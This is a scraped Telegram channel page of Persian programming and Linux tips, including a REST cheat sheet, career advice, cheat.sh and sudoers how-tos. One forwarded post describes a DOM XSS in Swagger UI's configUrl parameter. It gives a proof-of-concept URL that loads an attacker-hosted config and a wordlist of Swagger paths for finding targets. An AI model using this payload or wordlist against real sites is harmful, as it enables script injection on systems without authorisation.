Random shi- tutorials – Telegram
Random shi- tutorials
211 subscribers
233 photos
27 videos
12 files
551 links
محتوای مفید برنامه نویسی و لینوکسی از سراسر دنیا ✍️
جوین شدن شما موجب شادی روح و روان ما میگردد😗
Download Telegram
Forwarded from Linuxor ?
این تیتر هم جالب بود 9 الگورتیمی که بر دنیای ما حکمرانی می‌کنند.

@Linuxor
کامل ترین “Cheat Sheet” موجود برای Rest API ! ! !
تقریبا بیشتر مواردی که اینجا مطرح هستش بهش اشاره شده

با سرچ کردن keyword ها میتونید به اطلاعات خوبی برسید

Architectural Principles of REST

1. Client-Server Architecture
- Strict separation of concerns
- Clients make requests
- Servers process and respond
- Enables independent evolution of components

2. Statelessness
- Each request contains complete context
- No server-side session storage
- Improves scalability and reliability
- Enables horizontal scaling

3. Cacheability
- Responses can be cached
- Reduces server load
- Improves response times
- Clearly defined cache control mechanisms

4. Layered System
- Components can be independently replaced
- No direct dependency between layers
- Enhances system flexibility
- Supports complex architectures

5. Uniform Interface
- Standardized communication protocol
- Consistent resource identification
- Manipulation through representations
- Self-denoscriptive messages

HTTP Methods Detailed

GET
- Purpose: Retrieve resource data
- Characteristics:
- Safe operation
- Idempotent
- No side effects
- Example: /users/123

POST
- Purpose: Create new resources
- Characteristics:
- Submits data to server
- Generates new resource
- Not idempotent
- Example: /users

PUT
- Purpose: Complete resource replacement
- Characteristics:
- Updates entire resource
- Idempotent
- Requires full resource representation
- Example: /users/123

PATCH
- Purpose: Partial resource modification
- Characteristics:
- Updates specific fields
- More efficient than PUT
- Less bandwidth consumption
- Example: /users/123

DELETE
- Purpose: Remove resources
- Characteristics:
- Removes specified resource
- Idempotent
- Can return success/failure status
- Example: /users/123

HTTP Status Codes

2xx Success
- 200 OK: Standard successful response
- 201 Created: Resource successfully generated
- 204 No Content: Successful request with no response body

3xx Redirection
- 301 Moved Permanently: Resource relocated
- 304 Not Modified: Cached resource unchanged
- 307 Temporary Redirect: Temporary resource movement

4xx Client Errors
- 400 Bad Request: Invalid syntax
- 401 Unauthorized: Authentication required
- 403 Forbidden: Insufficient permissions
- 404 Not Found: Resource doesn't exist
- 409 Conflict: Request conflicts with current state

5xx Server Errors
- 500 Internal Server Error: Unexpected server issue
- 502 Bad Gateway: Invalid server response
- 503 Service Unavailable: Temporary server limitations
- 504 Gateway Timeout: Server didn't receive timely response

Resource Design Principles

Endpoint Naming
- Use nouns
- Prefer plural forms
- Lowercase with hyphens
- Hierarchical and logical structure
- Example: /user-profiles/active

Query Parameters
- Filtering: ?status=active
- Sorting: ?sort=name
- Pagination: ?page=2&limit=50

Security Best Practices

Authentication
- OAuth 2.0
- JWT (JSON Web Tokens)
- API Keys
- OpenID Connect

Authorization
- Role-Based Access Control (RBAC)
- Attribute-Based Access Control (ABAC)
- Fine-grained permission management

Protection Strategies
- Always use HTTPS
- Input validation
- Output encoding
- Rate limiting
- CORS configuration
- Security headers
- Regular security audits

Performance Optimization

Caching Strategies
- Browser caching
- CDN implementation
- ETag support
- Cache-Control headers

Efficiency Techniques
- Compression
- Minimal payload
- Efficient serialization
- Pagination
- Bulk operations

Documentation Guidelines
- Clear endpoint denoscriptions
- Request/response examples
- Error code explanations
- Authentication requirements
- Version management
Forwarded from Linuxor ?
اگه خواستی درباره سیستم عامل ها بدونی هر روز یکی از قسمت های اینو بخون، خیلی از مباحث سیستم عامل رو با مثال توضیح داده :

https://mohitmishra786.github.io/exploring-os/src/


@Linuxor
Forwarded from Applyfarsi30
ما یک موسسه بین المللی در خیلی از کشورهای دنیا داریم

که میان فرصت های کاآموزی رو برای دانشجویان کشورشون فراهم میکنن

دقیقا مثل تبادل دانشجو

ولی این بار کارآموزی هستش

یعنی دقیقا همون کارآموزی که من و شما درموردش میدونیم

برای اینکه شما انتخاب بشید باید چند تا شرایط رو داشته باشید:

- اینکه زبان انگلیسی بلد باشد چون قبل از ثبت نام از شما آزمون گرفته میشه

- باید میان افراد برتر باشید تا جزو شانس پذیرش باشید

- بعد از انتخاب شده شما به مصاحبه دعوت میشید که سخت نیست

- بعد از اینکه قبول شدید از شما مدارکی مثل انگیزه نامه، رزومه و . . . گرفته میشه

این موسسه در ایران اسمش "آیسته ایران"

اینم لینکش

https://iaeste.ir/

این پوزیشن ها معمولا اواخر پاییز تا اواسط زمستان باز میشن

پس حواستون جمع باشه
درخصوص فراخوان رزومه چند نکته رو بگم:

- مثل قبل رزومه ها رو به اشتراک نمیزاریم برای حفظ اطلاعات شخصی شما

- تمامی رزومه ها به آیدی تلگرامی که فردا قرار میدم ارسال کنید لطفا

- من و تیمم هیچ مسولیتی بابت استخدام شدن شما نداریم!

- تمامی رزومه ها به گروه خصوصی ارسال میشه که اگر مایل بودن با شما ارتباط میگیرن (حتی امکان داره هیچ ارتباطی هم صورت نگیره)

- تعداد افراد زیاده لطفا به من پیام ندین! چون نمیرسم این حجم رو جواب بدم

- هر اطلاعیه لازم باشه داخل کانال قرار داده میشه

- ساختار رزومه بعد از این پیام ارسال میشه اگر خارج از اون قالب باشه به شما جوابی داده نمیشه که ویرایش کنید پس شما یکبار شانس دارید به دقت طبق قالب ارسال برای ما رزومه ارسال کنید

- رزومه حتما باید به انگلیسی باشه! فارسی مورد قبول نیست

- اینکه این رزومه برای چه کسی و چه شرکتی ارسال میشه به شما اینجا گفته نمیشه. . . اگر انتخاب شدید به شما ایمیل ارسال میشه که تمامی ازاطلاعات لازم در اون درج میشه

- استاندارد رزومه رو ما تعیین نمی کنیم ولی میتویند به کانال یوتیوب ما رفته و این لینک رو ببینید چون افراد این رزومه ها رو تایید کردن ساختارش رو (لطفا از رزومه سازهای انلاین استفاده نکنید و اینکه ATS تعریف نشده برای رزومه شما پس از این مورد خیالتون راحت باشه)

- و در آخر امیدوارم از آخرین کمکی که از دستم بر میاد برای شما انجام داده باشم
Forwarded from Linuxor ?
وقتی یه وبسرور بالا آوردی، می‌تونی با ابزار زیر عملکردش رو تست کنی

ab -n 1000 -c 50 http://localhost/index.html

این دستور 1000 تا درخواست با همزمانی 50 تایی به localhost ارسال می‌کنه و توی نتیجه بهت می‌گه چقدرش Failed شد و سرور چقدر می‌تونه در ثانیه تحمل کنه.


@Linuxor
اگه مشتری هم ازت خواست، کارتو سرسری انجام نده، کار تمیز، پول تمیز میسازه و پول تمیز هم زندگی تمیز میسازه.

https://news.1rj.ru/str/Rs_tutorial
🔥1
Forwarded from Persian Store
۳۰ توصیه از یک برنامه‌نویس سنیور: نکاتی که ای کاش زودتر می‌دونستیم! 🦠

۱. کد تمیز مهم‌تر از کد سریعه. بعداً که برگردی سراغ کدت، از خودت تشکر می‌کنی!

۲. مهارت های نرم(ارتباط، حل مسئله و...) رو جدی بگیر.

۳. همیشه فکر کن یه نفر دیگه قراره کدت رو بخونه - حتی اگه تنها توی پروژه کار می‌کنی.

۴. هر روز حداقل نیم ساعت مطالعه کن، مهم نیست چقدر شلوغی!

۵. سراغ فریم‌ورک جدید نرو تا وقتی پایه‌ت قوی نشده. جاوااسکریپت وانیلا رو خوب یاد بگیر، بعد برو سراغ ری‌اکت.

۶. گیت رو جدی بگیر. روزی میرسه که نجاتت میده و مهم نیست کجای رودمپ هستی، یادش بگیر.

۷. وقتی یه چیزی رو نمی‌دونی، با افتخار بگو نمی‌دونم. هیچکس همه چیز رو نمی‌دونه.

۸. کد ریویو فقط برای پیدا کردن باگ نیست. ازش برای یادگیری استفاده کن.

۹. با تیمت خوب رفتار کن. مهم نیست چقدر باهوشی، اگه نتونی با بقیه کار کنی، به درد نمی‌خوری!

۱۰. قبل از شروع کدنویسی، نحوه پیاده سازی تسک هارو تو ذهنت طراحی کن.

۱۱. هر تغییری رو تست کن، حتی اگه مطمئنی درسته.

۱۲. دیباگ کردن رو یاد بگیر، console.log همیشه جواب نمیده!

۱۳. امنیت رو از روز اول جدی بگیر. بعداً خیلی دیره.

۱۴. پرفورمنس مهمه، ولی نه به قیمت امنیت.

۱۵. داکیومنت بنویس. نه برای بقیه، برای خودت!

۱۶. هر ۶ ماه یه تکنولوژی جدید یاد بگیر.

۱۷. توی کامیونیتی‌ها فعال باش. یه روزی به دردت می‌خوره.

۱۸. فقط به حقوق فکر نکن، به چیزی که یاد می‌گیری هم فکر کن. خروجی ما از شرکت و تیم نباید فقط بحث مالی باشه.

۱۹. تخصص و انرژیت رو ارزون در اختیار بقیه قرار نده.

۲۰. استک‌اورفلو و Gpt خوبه، ولی اول سعی کن خودت فکر کنی.

۲۱. کامنت بذار، ولی نه برای توضیح کد بد.

۲۲. پشت سیستم ورزش کن. کمردرد شوخی نداره.

۲۳. به چشم‌هات استراحت بده و قانون ۲۰-۲۰-۲۰ رو رعایت کن.

۲۴. زندگی فقط کد نیست. تفریح هم مهمه.

۲۵. تخمین زمانی رو ضرب در ۲ کن، باز هم کمه!

۲۶. تکنیکال دبت رو جدی بگیر. یه روز میاد سراغت.

۲۷. کمال‌گرایی رو بزار کنار و MVP بساز.

۲۸. از شکست‌هات یاد بگیر، همه اشتباه می‌کنن.

۲۹. صبور باش، همه یه روزی جونیور بودن.

۳۰. لذت ببر! برنامه‌نویسی قشنگ‌ترین شغل دنیاست.


شما چه تجربه ای دارید؟ 🤔
لیست رو اگه میتونید تکمیل تر کنید.

#tips


http://persianstore.org

Contact Us : @Prsiaman
Channel : @prsian_store
🔥1
Forwarded from تیم لانه | اخبار فارسی
🔥 DOM XSS via Swagger UI's ?configUrl 🔥

If Swagger UI is deployed without validation for?configUrl, you can inject malicious JavaScript! Example:

Example POC
https://target.com/swagger-ui.html?configUrl=https://jumpy-floor.surge.sh/test.json

Wordlist for Document Page
/swagger-ui.html/swagger-ui
/swagger/swagger.json
/openapi.json/api-docs
/v2/api-docs/v3/api-docs
/api/swagger-ui.html/docs/swagger-ui.html
/documentation/swagger-ui.html/swagger-resources
/swagger-resources/configuration/ui/swagger-resources/configuration/security
/api/swagger-resources/api/swagger-resources/configuration/ui
/api/swagger-resources/configuration/security/api-docs/swagger-config
/swagger.yaml/openapi.yaml
/docs/openapi.json/docs/swagger.json
/swagger/index.html/swagger/index
/swagger/v1/swagger.json/swagger/v2/swagger.json
/swagger/v3/swagger.json/swagger/swagger-ui.html
/swagger/public
/swagger-ui/index.html/swagger-ui-dist/index.html
/swagger/ui/swagger/dist
/swagger-ui-bundle.js/swagger-ui-standalone-preset.js
کامل ترین ! ! !
منبع برای مصاحبه

که تا به حال این رو به احتمال زیاد ندیده بودید!

https://github.com/jwasham/coding-interview-university?ref=joberty.com

حتما بررسیش کنید
خیلی از سوالات مصاحبه خودم رو اینجا پیدا کردم

#تجربه
Forwarded from شیرازلینوکس | shirazlinux (Sahar Garmsiri)
🐧 ابزار Cheat.sh

یکی از سختی‌های لینوکس، کار کردن با ترمینال و ابزار های اونه و اینکه ممکنه حتی استفاده از یک ابزار رو بلد باشیم اما خیلی از سوییچ های کاربردی اون رو نشناسیم.

⚙️ یکی از ابزار های کاربردی که در این زمینه خیلی کمک میکنه سایت cheat.sh هستش که با وارد کردن اسم هر ابزار در این سایت یک لیست از نحوه کارکرد اون ابزار و کاربرد های متدوال اون نشان داده میشه که خیلی می‌تونه کمک کنه.

فرق این ابزار با ابزار man یا امثال اون این هستش که تمام سوییچ های یک ابزار رو نشون نمیده بلکه مثال های کاربردی از نحوه استفاده از اون رو نمایش میده.


🚦به سه روش میتونیم از این ابزار استفاده کنیم:
۱. با وارد شدن به سایت و وارد کردن اسم ابزار مورد نظرمون
لینک سایت: http://cheat.sh/

۲. با استفاده از ابزار curl:
ابتدا از نصب بودن curl بر روی سیستم مطمئن میشیم و بعد با استفاده از دستور زیر میتونیم صفحه cheat.sh هر ابزار رو داخل ترمینال ببینیم
curl cht.sh/name-of-command

Ex:
curl cht.sh/systemctl

۳. با نصب این ابزار در سیستم:
برای نصب این ابزار، اسکریپت زیر را داخل ترمینال
اجرا می‌کنیم

curl https://cht.sh/:cht.sh | sudo tee /usr/local/bin/cht.sh
chmod +x /usr/local/bin/cht.sh

بعد از اون میتونیم از دستور cht.sh استفاده کنیم؛ مثل زیر:
cht.sh systemctl



‼️ این ابزار کاربرد های زیاد دیگه‌ای هم داره از جمله جستجو سریع سوالات برنامه‌نویسی و یافتن جواب از سایت StackOverflow داخل ترمینال و قابلیت‌های دیگه!

نویسنده: mas.m
صفحه گیت‌هاب این ابزار برای اطلاعات بیشتر:
https://github.com/chubin/cheat.sh


- - - - - - - - - - - - - - - -
🆔 Shirazlinux Channels:
@sudoshz
@shirazlinuxcommunity
(Linux Users Group)


#Linux #cheat_sh #شیرازلینوکس #shirazlinux
Forwarded from DANI - Notes & Archive (Daniel)
شاید دوست داشته باشید برنامه های گوشی های دیگه رو هم امتحان کنید یا به هر دلیلی نیازش دارید ولی چون شما گوشی شیائومی دارید و طرف برای مثال گوشی ناثینگ داره شما نمیتونید برنامه های اونو داشته باشید.
راه حل چیه؟ بیایم و از اپلیکیشن های پورت شده استفاده کنیم اپلیکیشن های پورت شده رو یه تیمی میان برای مثال اپلیکیشن لانچر وان یوای سامسونگ رو از داخل وان یوای میکشن بیرون و تبدیل به یه apk نصب شدنی روی همه ی گوشی ها میکنن. حالا از کجا دانلود کنیم اینا رو؟
@AndroidPortWorld
این چنل هست اگه خواستید نخواستید هم با سرچ شاید بتونید بگیرید چنل های دیگه هم میشه پیدا کرد.
@DiHoXCH
Forwarded from DANI - Notes & Archive (Mr.Packer)
گاهی در لینوکس قصد دارید با مجوز sudo یک عملیات خاص را انجام دهید که به چنین اروری برخورد میکنید
not in sudoers file

این بدین معناس که کاربر فعلی شما عضو گروهی که مجوز استفاده از دستور sudo را دارند نیست .

برای حل مشکل ، با یوزر root یا یوزری که دسترسی sudo دارد لاگین و سپس فایل etc/sudoers را ویرایش کنید.

سپس یک چنین خطی را به فایل اضافه کنید.
username ALL=(ALL) ALL

بجای کلمه username نام کاربری یوزری که قصد دارید مجوز را دریافت کند را وارد کنید و فایل را ذخیره کنید ، مشکل برطرف خواهد شد

#linux

@DiHoXCH
Forwarded from Linuxor ?
این جعبه‌های قرمز که کنارشون نوشته LFS یه افزونه برای Git هستش که باهاش می‌تونین فایل‌های سنگین رو به پروژتون اضافه کنید

گیت برای کار با فایل‌های متنی سبک مثلا کد، فایل کانفیگ و ... ساخته شده وقتی فایل های بزرگ رو توی ریپو قرار می‌دین باعث کند شدنش می‌شه چون گیت کل تاریخچه تغییرات رو ذخیره می‌کنه و حتی کلون کردنش هم سخت تر می‌شه، گیت یه افزونه داره به اسم LFS که بجای قرار دادن خود فایل توی ریپو یه پوینتر از اونو ذخیره می‌کنه و این باعث می‌شه مدیریت ریپو راحت تر بشه


@Linuxor